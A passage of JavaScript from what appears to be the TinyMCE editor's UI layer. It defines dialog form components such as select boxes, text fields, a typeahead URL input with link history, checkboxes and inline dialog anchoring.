set$8(comp.element, dataAttribute, item.value); emitWith(comp, updateMenuText, { text: item.text }); }); } } }) ] }, 'tox-listbox', backstage.shared); } } }); var listBoxWrap = { dom: { tag: 'div', classes: ['tox-listboxfield'] }, components: [pField] }; return FormField.sketch({ dom: { tag: 'div', classes: ['tox-form__group'] }, components: flatten([ pLabel.toArray(), [listBoxWrap] ]), fieldBehaviours: derive$1([Disabling.config({ disabled: constant$1(spec.disabled), onDisabled: function (comp) { FormField.getField(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormField.getField(comp).each(Disabling.enable); } })]) }); }; var renderPanel = function (spec, backstage) { return { dom: { tag: 'div', classes: spec.classes }, components: map$2(spec.items, backstage.shared.interpreter) }; }; var factory$e = function (detail, _spec) { var options = map$2(detail.options, function (option) { return { dom: { tag: 'option', value: option.value, innerHtml: option.text } }; }); var initialValues = detail.data.map(function (v) { return wrap$1('initialValue', v); }).getOr({}); return { uid: detail.uid, dom: { tag: 'select', classes: detail.selectClasses, attributes: detail.selectAttributes }, components: options, behaviours: augment(detail.selectBehaviours, [ Focusing.config({}), Representing.config({ store: __assign({ mode: 'manual', getValue: function (select) { return get$5(select.element); }, setValue: function (select, newValue) { var found = find$5(detail.options, function (opt) { return opt.value === newValue; }); if (found.isSome()) { set$4(select.element, newValue); } } }, initialValues) }) ]) }; }; var HtmlSelect = single({ name: 'HtmlSelect', configFields: [ required$1('options'), field('selectBehaviours', [ Focusing, Representing ]), defaulted('selectClasses', []), defaulted('selectAttributes', {}), option('data') ], factory: factory$e }); var renderSelectBox = function (spec, providersBackstage) { var translatedOptions = map$2(spec.items, function (item) { return { text: providersBackstage.translate(item.text), value: item.value }; }); var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var pField = FormField.parts.field({ dom: {}, selectAttributes: { size: spec.size }, options: translatedOptions, factory: HtmlSelect, selectBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } }), Tabstopping.config({}), config('selectbox-change', [run$1(change(), function (component, _) { emitWith(component, formChangeEvent, { name: spec.name }); })]) ]) }); var chevron = spec.size > 1 ? Optional.none() : Optional.some(render$3('chevron-down', { tag: 'div', classes: ['tox-selectfield__icon-js'] }, providersBackstage.icons)); var selectWrap = { dom: { tag: 'div', classes: ['tox-selectfield'] }, components: flatten([ [pField], chevron.toArray() ]) }; return FormField.sketch({ dom: { tag: 'div', classes: ['tox-form__group'] }, components: flatten([ pLabel.toArray(), [selectWrap] ]), fieldBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); }, onDisabled: function (comp) { FormField.getField(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormField.getField(comp).each(Disabling.enable); } }), receivingConfig() ]) }); }; var renderTable = function (spec, providersBackstage) { var renderTh = function (text) { return { dom: { tag: 'th', innerHtml: providersBackstage.translate(text) } }; }; var renderHeader = function (header) { return { dom: { tag: 'thead' }, components: [{ dom: { tag: 'tr' }, components: map$2(header, renderTh) }] }; }; var renderTd = function (text) { return { dom: { tag: 'td', innerHtml: providersBackstage.translate(text) } }; }; var renderTr = function (row) { return { dom: { tag: 'tr' }, components: map$2(row, renderTd) }; }; var renderRows = function (rows) { return { dom: { tag: 'tbody' }, components: map$2(rows, renderTr) }; }; return { dom: { tag: 'table', classes: ['tox-dialog__table'] }, components: [ renderHeader(spec.header), renderRows(spec.cells) ], behaviours: derive$1([ Tabstopping.config({}), Focusing.config({}) ]) }; }; var renderTextField = function (spec, providersBackstage) { var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var baseInputBehaviours = [ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } }), receivingConfig(), Keying.config({ mode: 'execution', useEnter: spec.multiline !== true, useControlEnter: spec.multiline === true, execute: function (comp) { emit(comp, formSubmitEvent); return Optional.some(true); } }), config('textfield-change', [ run$1(input(), function (component, _) { emitWith(component, formChangeEvent, { name: spec.name }); }), run$1(postPaste(), function (component, _) { emitWith(component, formChangeEvent, { name: spec.name }); }) ]), Tabstopping.config({}) ]; var validatingBehaviours = spec.validation.map(function (vl) { return Invalidating.config({ getRoot: function (input) { return parent(input.element); }, invalidClass: 'tox-invalid', validator: { validate: function (input) { var v = Representing.getValue(input); var result = vl.validator(v); return Future.pure(result === true ? Result.value(v) : Result.error(result)); }, validateOnLoad: vl.validateOnLoad } }); }).toArray(); var placeholder = spec.placeholder.fold(constant$1({}), function (p) { return { placeholder: providersBackstage.translate(p) }; }); var inputMode = spec.inputMode.fold(constant$1({}), function (mode) { return { inputmode: mode }; }); var inputAttributes = __assign(__assign({}, placeholder), inputMode); var pField = FormField.parts.field({ tag: spec.multiline === true ? 'textarea' : 'input', inputAttributes: inputAttributes, inputClasses: [spec.classname], inputBehaviours: derive$1(flatten([ baseInputBehaviours, validatingBehaviours ])), selectOnFocus: false, factory: Input }); var extraClasses = spec.flex ? ['tox-form__group--stretched'] : []; var extraClasses2 = extraClasses.concat(spec.maximized ? ['tox-form-group--maximize'] : []); var extraBehaviours = [ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); }, onDisabled: function (comp) { FormField.getField(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormField.getField(comp).each(Disabling.enable); } }), receivingConfig() ]; return renderFormFieldWith(pLabel, pField, extraClasses2, extraBehaviours); }; var renderInput = function (spec, providersBackstage) { return renderTextField({ name: spec.name, multiline: false, label: spec.label, inputMode: spec.inputMode, placeholder: spec.placeholder, flex: false, disabled: spec.disabled, classname: 'tox-textfield', validation: Optional.none(), maximized: spec.maximized }, providersBackstage); }; var renderTextarea = function (spec, providersBackstage) { return renderTextField({ name: spec.name, multiline: true, label: spec.label, inputMode: Optional.none(), placeholder: spec.placeholder, flex: true, disabled: spec.disabled, classname: 'tox-textarea', validation: Optional.none(), maximized: spec.maximized }, providersBackstage); }; var events$6 = function (streamConfig, streamState) { var streams = streamConfig.stream.streams; var processor = streams.setup(streamConfig, streamState); return derive$2([ run$1(streamConfig.event, processor), runOnDetached(function () { return streamState.cancel(); }) ].concat(streamConfig.cancelEvent.map(function (e) { return [run$1(e, function () { return streamState.cancel(); })]; }).getOr([]))); }; var ActiveStreaming = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$6 }); var throttle = function (_config) { var state = Cell(null); var readState = function () { return { timer: state.get() !== null ? 'set' : 'unset' }; }; var setTimer = function (t) { state.set(t); }; var cancel = function () { var t = state.get(); if (t !== null) { t.cancel(); } }; return nu$8({ readState: readState, setTimer: setTimer, cancel: cancel }); }; var init$9 = function (spec) { return spec.stream.streams.state(spec); }; var StreamingState = /*#__PURE__*/Object.freeze({ __proto__: null, throttle: throttle, init: init$9 }); var setup$c = function (streamInfo, streamState) { var sInfo = streamInfo.stream; var throttler = last(streamInfo.onStream, sInfo.delay); streamState.setTimer(throttler); return function (component, simulatedEvent) { throttler.throttle(component, simulatedEvent); if (sInfo.stopEvent) { simulatedEvent.stop(); } }; }; var StreamingSchema = [ requiredOf('stream', choose$1('mode', { throttle: [ required$1('delay'), defaulted('stopEvent', true), output$1('streams', { setup: setup$c, state: throttle }) ] })), defaulted('event', 'input'), option('cancelEvent'), onStrictHandler('onStream') ]; var Streaming = create$7({ fields: StreamingSchema, name: 'streaming', active: ActiveStreaming, state: StreamingState }); var setValueFromItem = function (model, input, item) { var itemData = Representing.getValue(item); Representing.setValue(input, itemData); setCursorAtEnd(input); }; var setSelectionOn = function (input, f) { var el = input.element; var value = get$5(el); var node = el.dom; if (get$d(el, 'type') !== 'number') { f(node, value); } }; var setCursorAtEnd = function (input) { setSelectionOn(input, function (node, value) { return node.setSelectionRange(value.length, value.length); }); }; var setSelectionToEnd = function (input, startOffset) { setSelectionOn(input, function (node, value) { return node.setSelectionRange(startOffset, value.length); }); }; var attemptSelectOver = function (model, input, item) { if (!model.selectsOver) { return Optional.none(); } else { var currentValue = Representing.getValue(input); var inputDisplay_1 = model.getDisplayText(currentValue); var itemValue = Representing.getValue(item); var itemDisplay = model.getDisplayText(itemValue); return itemDisplay.indexOf(inputDisplay_1) === 0 ? Optional.some(function () { setValueFromItem(model, input, item); setSelectionToEnd(input, inputDisplay_1.length); }) : Optional.none(); } }; var itemExecute = constant$1('alloy.typeahead.itemexecute'); var make$3 = function (detail, components, spec, externals) { var navigateList = function (comp, simulatedEvent, highlighter) { detail.previewing.set(false); var sandbox = Coupling.getCoupled(comp, 'sandbox'); if (Sandboxing.isOpen(sandbox)) { Composing.getCurrent(sandbox).each(function (menu) { Highlighting.getHighlighted(menu).fold(function () { highlighter(menu); }, function () { dispatchEvent(sandbox, menu.element, 'keydown', simulatedEvent); }); }); } else { var onOpenSync = function (sandbox) { Composing.getCurrent(sandbox).each(highlighter); }; open(detail, mapFetch(comp), comp, sandbox, externals, onOpenSync, HighlightOnOpen.HighlightFirst).get(noop); } }; var focusBehaviours$1 = focusBehaviours(detail); var mapFetch = function (comp) { return function (tdata) { return tdata.map(function (data) { var menus = values(data.menus); var items = bind$3(menus, function (menu) { return filter$2(menu.items, function (item) { return item.type === 'item'; }); }); var repState = Representing.getState(comp); repState.update(map$2(items, function (item) { return item.data; })); return data; }); }; }; var behaviours = [ Focusing.config({}), Representing.config({ onSetValue: detail.onSetValue, store: __assign({ mode: 'dataset', getDataKey: function (comp) { return get$5(comp.element); }, getFallbackEntry: function (itemString) { return { value: itemString, meta: {} }; }, setValue: function (comp, data) { set$4(comp.element, detail.model.getDisplayText(data)); } }, detail.initialData.map(function (d) { return wrap$1('initialValue', d); }).getOr({})) }), Streaming.config({ stream: { mode: 'throttle', delay: detail.responseTime, stopEvent: false }, onStream: function (component, _simulatedEvent) { var sandbox = Coupling.getCoupled(component, 'sandbox'); var focusInInput = Focusing.isFocused(component); if (focusInInput) { if (get$5(component.element).length >= detail.minChars) { var previousValue_1 = Composing.getCurrent(sandbox).bind(function (menu) { return Highlighting.getHighlighted(menu).map(Representing.getValue); }); detail.previewing.set(true); var onOpenSync = function (_sandbox) { Composing.getCurrent(sandbox).each(function (menu) { previousValue_1.fold(function () { if (detail.model.selectsOver) { Highlighting.highlightFirst(menu); } }, function (pv) { Highlighting.highlightBy(menu, function (item) { var itemData = Representing.getValue(item); return itemData.value === pv.value; }); Highlighting.getHighlighted(menu).orThunk(function () { Highlighting.highlightFirst(menu); return Optional.none(); }); }); }); }; open(detail, mapFetch(component), component, sandbox, externals, onOpenSync, HighlightOnOpen.HighlightFirst).get(noop); } } }, cancelEvent: typeaheadCancel() }), Keying.config({ mode: 'special', onDown: function (comp, simulatedEvent) { navigateList(comp, simulatedEvent, Highlighting.highlightFirst); return Optional.some(true); }, onEscape: function (comp) { var sandbox = Coupling.getCoupled(comp, 'sandbox'); if (Sandboxing.isOpen(sandbox)) { Sandboxing.close(sandbox); return Optional.some(true); } return Optional.none(); }, onUp: function (comp, simulatedEvent) { navigateList(comp, simulatedEvent, Highlighting.highlightLast); return Optional.some(true); }, onEnter: function (comp) { var sandbox = Coupling.getCoupled(comp, 'sandbox'); var sandboxIsOpen = Sandboxing.isOpen(sandbox); if (sandboxIsOpen && !detail.previewing.get()) { return Composing.getCurrent(sandbox).bind(function (menu) { return Highlighting.getHighlighted(menu); }).map(function (item) { emitWith(comp, itemExecute(), { item: item }); return true; }); } else { var currentValue = Representing.getValue(comp); emit(comp, typeaheadCancel()); detail.onExecute(sandbox, comp, currentValue); if (sandboxIsOpen) { Sandboxing.close(sandbox); } return Optional.some(true); } } }), Toggling.config({ toggleClass: detail.markers.openClass, aria: { mode: 'expanded' } }), Coupling.config({ others: { sandbox: function (hotspot) { return makeSandbox$1(detail, hotspot, { onOpen: function () { return Toggling.on(hotspot); }, onClose: function () { return Toggling.off(hotspot); } }); } } }), config('typeaheadevents', [ runOnExecute$1(function (comp) { var onOpenSync = noop; togglePopup(detail, mapFetch(comp), comp, externals, onOpenSync, HighlightOnOpen.HighlightFirst).get(noop); }), run$1(itemExecute(), function (comp, se) { var sandbox = Coupling.getCoupled(comp, 'sandbox'); setValueFromItem(detail.model, comp, se.event.item); emit(comp, typeaheadCancel()); detail.onItemExecute(comp, sandbox, se.event.item, Representing.getValue(comp)); Sandboxing.close(sandbox); setCursorAtEnd(comp); }) ].concat(detail.dismissOnBlur ? [run$1(postBlur(), function (typeahead) { var sandbox = Coupling.getCoupled(typeahead, 'sandbox'); if (search(sandbox.element).isNone()) { Sandboxing.close(sandbox); } })] : [])) ]; return { uid: detail.uid, dom: dom(deepMerge(detail, { inputAttributes: { 'role': 'combobox', 'aria-autocomplete': 'list', 'aria-haspopup': 'true' } })), behaviours: __assign(__assign({}, focusBehaviours$1), augment(detail.typeaheadBehaviours, behaviours)), eventOrder: detail.eventOrder }; }; var schema$g = constant$1([ option('lazySink'), required$1('fetch'), defaulted('minChars', 5), defaulted('responseTime', 1000), onHandler('onOpen'), defaulted('getHotspot', Optional.some), defaulted('getAnchorOverrides', constant$1({})), defaulted('layouts', Optional.none()), defaulted('eventOrder', {}), defaultedObjOf('model', {}, [ defaulted('getDisplayText', function (itemData) { return itemData.meta !== undefined && itemData.meta.text !== undefined ? itemData.meta.text : itemData.value; }), defaulted('selectsOver', true), defaulted('populateFromBrowse', true) ]), onHandler('onSetValue'), onKeyboardHandler('onExecute'), onHandler('onItemExecute'), defaulted('inputClasses', []), defaulted('inputAttributes', {}), defaulted('inputStyles', {}), defaulted('matchWidth', true), defaulted('useMinWidth', false), defaulted('dismissOnBlur', true), markers$1(['openClass']), option('initialData'), field('typeaheadBehaviours', [ Focusing, Representing, Streaming, Keying, Toggling, Coupling ]), customField('previewing', function () { return Cell(true); }) ].concat(schema$k()).concat(sandboxFields())); var parts$b = constant$1([external$1({ schema: [tieredMenuMarkers()], name: 'menu', overrides: function (detail) { return { fakeFocus: true, onHighlight: function (menu, item) { if (!detail.previewing.get()) { menu.getSystem().getByUid(detail.uid).each(function (input) { if (detail.model.populateFromBrowse) { setValueFromItem(detail.model, input, item); } }); } else { menu.getSystem().getByUid(detail.uid).each(function (input) { attemptSelectOver(detail.model, input, item).fold(function () { return Highlighting.dehighlight(menu, item); }, function (fn) { return fn(); }); }); } detail.previewing.set(false); }, onExecute: function (menu, item) { return menu.getSystem().getByUid(detail.uid).toOptional().map(function (typeahead) { emitWith(typeahead, itemExecute(), { item: item }); return true; }); }, onHover: function (menu, item) { detail.previewing.set(false); menu.getSystem().getByUid(detail.uid).each(function (input) { if (detail.model.populateFromBrowse) { setValueFromItem(detail.model, input, item); } }); } }; } })]); var Typeahead = composite({ name: 'Typeahead', configFields: schema$g(), partFields: parts$b(), factory: make$3 }); var wrap = function (delegate) { var toCached = function () { return wrap(delegate.toCached()); }; var bindFuture = function (f) { return wrap(delegate.bind(function (resA) { return resA.fold(function (err) { return Future.pure(Result.error(err)); }, function (a) { return f(a); }); })); }; var bindResult = function (f) { return wrap(delegate.map(function (resA) { return resA.bind(f); })); }; var mapResult = function (f) { return wrap(delegate.map(function (resA) { return resA.map(f); })); }; var mapError = function (f) { return wrap(delegate.map(function (resA) { return resA.mapError(f); })); }; var foldResult = function (whenError, whenValue) { return delegate.map(function (res) { return res.fold(whenError, whenValue); }); }; var withTimeout = function (timeout, errorThunk) { return wrap(Future.nu(function (callback) { var timedOut = false; var timer = setTimeout(function () { timedOut = true; callback(Result.error(errorThunk())); }, timeout); delegate.get(function (result) { if (!timedOut) { clearTimeout(timer); callback(result); } }); })); }; return __assign(__assign({}, delegate), { toCached: toCached, bindFuture: bindFuture, bindResult: bindResult, mapResult: mapResult, mapError: mapError, foldResult: foldResult, withTimeout: withTimeout }); }; var nu$1 = function (worker) { return wrap(Future.nu(worker)); }; var value = function (value) { return wrap(Future.pure(Result.value(value))); }; var error = function (error) { return wrap(Future.pure(Result.error(error))); }; var fromResult = function (result) { return wrap(Future.pure(result)); }; var fromFuture = function (future) { return wrap(future.map(Result.value)); }; var fromPromise = function (promise) { return nu$1(function (completer) { promise.then(function (value) { completer(Result.value(value)); }, function (error) { completer(Result.error(error)); }); }); }; var FutureResult = { nu: nu$1, wrap: wrap, pure: value, value: value, error: error, fromResult: fromResult, fromFuture: fromFuture, fromPromise: fromPromise }; var separator$1 = { type: 'separator' }; var toMenuItem = function (target) { return { type: 'menuitem', value: target.url, text: target.title, meta: { attach: target.attach }, onAction: noop }; }; var staticMenuItem = function (title, url) { return { type: 'menuitem', value: url, text: title, meta: { attach: undefined }, onAction: noop }; }; var toMenuItems = function (targets) { return map$2(targets, toMenuItem); }; var filterLinkTargets = function (type, targets) { return filter$2(targets, function (target) { return target.type === type; }); }; var filteredTargets = function (type, targets) { return toMenuItems(filterLinkTargets(type, targets)); }; var headerTargets = function (linkInfo) { return filteredTargets('header', linkInfo.targets); }; var anchorTargets = function (linkInfo) { return filteredTargets('anchor', linkInfo.targets); }; var anchorTargetTop = function (linkInfo) { return Optional.from(linkInfo.anchorTop).map(function (url) { return staticMenuItem('', url); }).toArray(); }; var anchorTargetBottom = function (linkInfo) { return Optional.from(linkInfo.anchorBottom).map(function (url) { return staticMenuItem('', url); }).toArray(); }; var historyTargets = function (history) { return map$2(history, function (url) { return staticMenuItem(url, url); }); }; var joinMenuLists = function (items) { return foldl(items, function (a, b) { var bothEmpty = a.length === 0 || b.length === 0; return bothEmpty ? a.concat(b) : a.concat(separator$1, b); }, []); }; var filterByQuery = function (term, menuItems) { var lowerCaseTerm = term.toLowerCase(); return filter$2(menuItems, function (item) { var text = item.meta !== undefined && item.meta.text !== undefined ? item.meta.text : item.text; return contains$1(text.toLowerCase(), lowerCaseTerm) || contains$1(item.value.toLowerCase(), lowerCaseTerm); }); }; var getItems = function (fileType, input, urlBackstage) { var urlInputValue = Representing.getValue(input); var term = urlInputValue.meta.text !== undefined ? urlInputValue.meta.text : urlInputValue.value; var info = urlBackstage.getLinkInformation(); return info.fold(function () { return []; }, function (linkInfo) { var history = filterByQuery(term, historyTargets(urlBackstage.getHistory(fileType))); return fileType === 'file' ? joinMenuLists([ history, filterByQuery(term, headerTargets(linkInfo)), filterByQuery(term, flatten([ anchorTargetTop(linkInfo), anchorTargets(linkInfo), anchorTargetBottom(linkInfo) ])) ]) : history; }); }; var errorId = generate$6('aria-invalid'); var renderUrlInput = function (spec, backstage, urlBackstage) { var _a; var providersBackstage = backstage.shared.providers; var updateHistory = function (component) { var urlEntry = Representing.getValue(component); urlBackstage.addToHistory(urlEntry.value, spec.filetype); }; var pField = FormField.parts.field({ factory: Typeahead, dismissOnBlur: true, inputClasses: ['tox-textfield'], sandboxClasses: ['tox-dialog__popups'], inputAttributes: { 'aria-errormessage': errorId, 'type': 'url' }, minChars: 0, responseTime: 0, fetch: function (input) { var items = getItems(spec.filetype, input, urlBackstage); var tdata = build(items, ItemResponse$1.BUBBLE_TO_SANDBOX, backstage, false); return Future.pure(tdata); }, getHotspot: function (comp) { return memUrlBox.getOpt(comp); }, onSetValue: function (comp, _newValue) { if (comp.hasConfigured(Invalidating)) { Invalidating.run(comp).get(noop); } }, typeaheadBehaviours: derive$1(flatten([ urlBackstage.getValidationHandler().map(function (handler) { return Invalidating.config({ getRoot: function (comp) { return parent(comp.element); }, invalidClass: 'tox-control-wrap--status-invalid', notify: { onInvalid: function (comp, err) { memInvalidIcon.getOpt(comp).each(function (invalidComp) { set$8(invalidComp.element, 'title', providersBackstage.translate(err)); }); } }, validator: { validate: function (input) { var urlEntry = Representing.getValue(input); return FutureResult.nu(function (completer) { handler({ type: spec.filetype, url: urlEntry.value }, function (validation) { if (validation.status === 'invalid') { var err = Result.error(validation.message); completer(err); } else { var val = Result.value(validation.message); completer(val); } }); }); }, validateOnLoad: false } }); }).toArray(), [ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } }), Tabstopping.config({}), config('urlinput-events', flatten([ spec.filetype === 'file' ? [run$1(input(), function (comp) { emitWith(comp, formChangeEvent, { name: spec.name }); })] : [], [ run$1(change(), function (comp) { emitWith(comp, formChangeEvent, { name: spec.name }); updateHistory(comp); }), run$1(postPaste(), function (comp) { emitWith(comp, formChangeEvent, { name: spec.name }); updateHistory(comp); }) ] ])) ] ])), eventOrder: (_a = {}, _a[input()] = [ 'streaming', 'urlinput-events', 'invalidating' ], _a), model: { getDisplayText: function (itemData) { return itemData.value; }, selectsOver: false, populateFromBrowse: false }, markers: { openClass: 'tox-textfield--popup-open' }, lazySink: backstage.shared.getSink, parts: { menu: part(false, 1, 'normal') }, onExecute: function (_menu, component, _entry) { emitWith(component, formSubmitEvent, {}); }, onItemExecute: function (typeahead, _sandbox, _item, _value) { updateHistory(typeahead); emitWith(typeahead, formChangeEvent, { name: spec.name }); } }); var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var makeIcon = function (name, errId, icon, label) { if (icon === void 0) { icon = name; } if (label === void 0) { label = name; } return render$3(icon, { tag: 'div', classes: [ 'tox-icon', 'tox-control-wrap__status-icon-' + name ], attributes: __assign({ 'title': providersBackstage.translate(label), 'aria-live': 'polite' }, errId.fold(function () { return {}; }, function (id) { return { id: id }; })) }, providersBackstage.icons); }; var memInvalidIcon = record(makeIcon('invalid', Optional.some(errorId), 'warning')); var memStatus = record({ dom: { tag: 'div', classes: ['tox-control-wrap__status-icon-wrap'] }, components: [memInvalidIcon.asSpec()] }); var optUrlPicker = urlBackstage.getUrlPicker(spec.filetype); var browseUrlEvent = generate$6('browser.url.event'); var memUrlBox = record({ dom: { tag: 'div', classes: ['tox-control-wrap'] }, components: [ pField, memStatus.asSpec() ], behaviours: derive$1([Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } })]) }); var memUrlPickerButton = record(renderButton({ name: spec.name, icon: Optional.some('browse'), text: spec.label.getOr(''), disabled: spec.disabled, primary: false, borderless: true }, function (component) { return emit(component, browseUrlEvent); }, providersBackstage, [], ['tox-browse-url'])); var controlHWrapper = function () { return { dom: { tag: 'div', classes: ['tox-form__controls-h-stack'] }, components: flatten([ [memUrlBox.asSpec()], optUrlPicker.map(function () { return memUrlPickerButton.asSpec(); }).toArray() ]) }; }; var openUrlPicker = function (comp) { Composing.getCurrent(comp).each(function (field) { var componentData = Representing.getValue(field); var urlData = __assign({ fieldname: spec.name }, componentData); optUrlPicker.each(function (picker) { picker(urlData).get(function (chosenData) { Representing.setValue(field, chosenData); emitWith(comp, formChangeEvent, { name: spec.name }); }); }); }); }; return FormField.sketch({ dom: renderFormFieldDom(), components: pLabel.toArray().concat([controlHWrapper()]), fieldBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); }, onDisabled: function (comp) { FormField.getField(comp).each(Disabling.disable); memUrlPickerButton.getOpt(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormField.getField(comp).each(Disabling.enable); memUrlPickerButton.getOpt(comp).each(Disabling.enable); } }), receivingConfig(), config('url-input-events', [run$1(browseUrlEvent, openUrlPicker)]) ]) }); }; var renderAlertBanner = function (spec, providersBackstage) { return Container.sketch({ dom: { tag: 'div', attributes: { role: 'alert' }, classes: [ 'tox-notification', 'tox-notification--in', 'tox-notification--' + spec.level ] }, components: [ { dom: { tag: 'div', classes: ['tox-notification__icon'] }, components: [Button.sketch({ dom: { tag: 'button', classes: [ 'tox-button', 'tox-button--naked', 'tox-button--icon' ], innerHtml: get$1(spec.icon, providersBackstage.icons), attributes: { title: providersBackstage.translate(spec.iconTooltip) } }, action: function (comp) { emitWith(comp, formActionEvent, { name: 'alert-banner', value: spec.url }); }, buttonBehaviours: derive$1([addFocusableBehaviour()]) })] }, { dom: { tag: 'div', classes: ['tox-notification__body'], innerHtml: providersBackstage.translate(spec.text) } } ] }); }; var renderCheckbox = function (spec, providerBackstage) { var repBehaviour = Representing.config({ store: { mode: 'manual', getValue: function (comp) { var el = comp.element.dom; return el.checked; }, setValue: function (comp, value) { var el = comp.element.dom; el.checked = value; } } }); var toggleCheckboxHandler = function (comp) { comp.element.dom.click(); return Optional.some(true); }; var pField = FormField.parts.field({ factory: { sketch: identity$1 }, dom: { tag: 'input', classes: ['tox-checkbox__input'], attributes: { type: 'checkbox' } }, behaviours: derive$1([ ComposingConfigs.self(), Disabling.config({ disabled: function () { return spec.disabled || providerBackstage.isDisabled(); } }), Tabstopping.config({}), Focusing.config({}), repBehaviour, Keying.config({ mode: 'special', onEnter: toggleCheckboxHandler, onSpace: toggleCheckboxHandler, stopSpaceKeyup: true }), config('checkbox-events', [run$1(change(), function (component, _) { emitWith(component, formChangeEvent, { name: spec.name }); })]) ]) }); var pLabel = FormField.parts.label({ dom: { tag: 'span', classes: ['tox-checkbox__label'], innerHtml: providerBackstage.translate(spec.label) }, behaviours: derive$1([Unselecting.config({})]) }); var makeIcon = function (className) { var iconName = className === 'checked' ? 'selected' : 'unselected'; return render$3(iconName, { tag: 'span', classes: [ 'tox-icon', 'tox-checkbox-icon__' + className ] }, providerBackstage.icons); }; var memIcons = record({ dom: { tag: 'div', classes: ['tox-checkbox__icons'] }, components: [ makeIcon('checked'), makeIcon('unchecked') ] }); return FormField.sketch({ dom: { tag: 'label', classes: ['tox-checkbox'] }, components: [ pField, memIcons.asSpec(), pLabel ], fieldBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providerBackstage.isDisabled(); }, disableClass: 'tox-checkbox--disabled', onDisabled: function (comp) { FormField.getField(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormField.getField(comp).each(Disabling.enable); } }), receivingConfig() ]) }); }; var renderHtmlPanel = function (spec) { if (spec.presets === 'presentation') { return Container.sketch({ dom: { tag: 'div', classes: ['tox-form__group'], innerHtml: spec.html } }); } else { return Container.sketch({ dom: { tag: 'div', classes: ['tox-form__group'], innerHtml: spec.html, attributes: { role: 'document' } }, containerBehaviours: derive$1([ Tabstopping.config({}), Focusing.config({}) ]) }); } }; var make$2 = function (render) { return function (parts, spec, backstage) { return get$e(spec, 'name').fold(function () { return render(spec, backstage); }, function (fieldName) { return parts.field(fieldName, render(spec, backstage)); }); }; }; var makeIframe = function (render) { return function (parts, spec, backstage) { var iframeSpec = deepMerge(spec, { source: 'dynamic' }); return make$2(render)(parts, iframeSpec, backstage); }; }; var factories = { bar: make$2(function (spec, backstage) { return renderBar(spec, backstage.shared); }), collection: make$2(function (spec, backstage) { return renderCollection(spec, backstage.shared.providers); }), alertbanner: make$2(function (spec, backstage) { return renderAlertBanner(spec, backstage.shared.providers); }), input: make$2(function (spec, backstage) { return renderInput(spec, backstage.shared.providers); }), textarea: make$2(function (spec, backstage) { return renderTextarea(spec, backstage.shared.providers); }), label: make$2(function (spec, backstage) { return renderLabel(spec, backstage.shared); }), iframe: makeIframe(function (spec, backstage) { return renderIFrame(spec, backstage.shared.providers); }), button: make$2(function (spec, backstage) { return renderDialogButton(spec, backstage.shared.providers); }), checkbox: make$2(function (spec, backstage) { return renderCheckbox(spec, backstage.shared.providers); }), colorinput: make$2(function (spec, backstage) { return renderColorInput(spec, backstage.shared, backstage.colorinput); }), colorpicker: make$2(renderColorPicker), dropzone: make$2(function (spec, backstage) { return renderDropZone(spec, backstage.shared.providers); }), grid: make$2(function (spec, backstage) { return renderGrid(spec, backstage.shared); }), listbox: make$2(function (spec, backstage) { return renderListBox(spec, backstage); }), selectbox: make$2(function (spec, backstage) { return renderSelectBox(spec, backstage.shared.providers); }), sizeinput: make$2(function (spec, backstage) { return renderSizeInput(spec, backstage.shared.providers); }), urlinput: make$2(function (spec, backstage) { return renderUrlInput(spec, backstage, backstage.urlinput); }), customeditor: make$2(renderCustomEditor), htmlpanel: make$2(renderHtmlPanel), imagetools: make$2(function (spec, backstage) { return renderImageTools(spec, backstage.shared.providers); }), table: make$2(function (spec, backstage) { return renderTable(spec, backstage.shared.providers); }), panel: make$2(function (spec, backstage) { return renderPanel(spec, backstage); }) }; var noFormParts = { field: function (_name, spec) { return spec; } }; var interpretInForm = function (parts, spec, oldBackstage) { var newBackstage = deepMerge(oldBackstage, { shared: { interpreter: function (childSpec) { return interpretParts(parts, childSpec, newBackstage); } } }); return interpretParts(parts, spec, newBackstage); }; var interpretParts = function (parts, spec, backstage) { return get$e(factories, spec.type).fold(function () { console.error('Unknown factory type "' + spec.type + '", defaulting to container: ', spec); return spec; }, function (factory) { return factory(parts, spec, backstage); }); }; var interpretWithoutForm = function (spec, backstage) { var parts = noFormParts; return interpretParts(parts, spec, backstage); }; var bubbleAlignments$2 = { valignCentre: [], alignCentre: [], alignLeft: [], alignRight: [], right: [], left: [], bottom: [], top: [] }; var getInlineDialogAnchor = function (contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor) { var bubbleSize = 12; var overrides = { maxHeightFunction: expandable$1() }; var editableAreaAnchor = function () { return { type: 'node', root: getContentContainer(contentAreaElement()), node: Optional.from(contentAreaElement()), bubble: nu$5(bubbleSize, bubbleSize, bubbleAlignments$2), layouts: { onRtl: function () { return [northeast]; }, onLtr: function () { return [northwest]; } }, overrides: overrides }; }; var standardAnchor = function () { return { type: 'hotspot', hotspot: lazyAnchorbar(), bubble: nu$5(-bubbleSize, bubbleSize, bubbleAlignments$2), layouts: { onRtl: function () { return [southeast$2]; }, onLtr: function () { return [southwest$2]; } }, overrides: overrides }; }; return function () { return lazyUseEditableAreaAnchor() ? editableAreaAnchor() : standardAnchor(); }; }; var getBannerAnchor = function (contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor) { var editableAreaAnchor = function () { return { type: 'node', root: getContentContainer(contentAreaElement()), node: Optional.from(contentAreaElement()), layouts: { onRtl: function () { return [north]; }, onLtr: function () { return [north]; } } }; }; var standardAnchor = function () { return { type: 'hotspot', hotspot: lazyAnchorbar(), layouts: { onRtl: function () { return [south$2]; 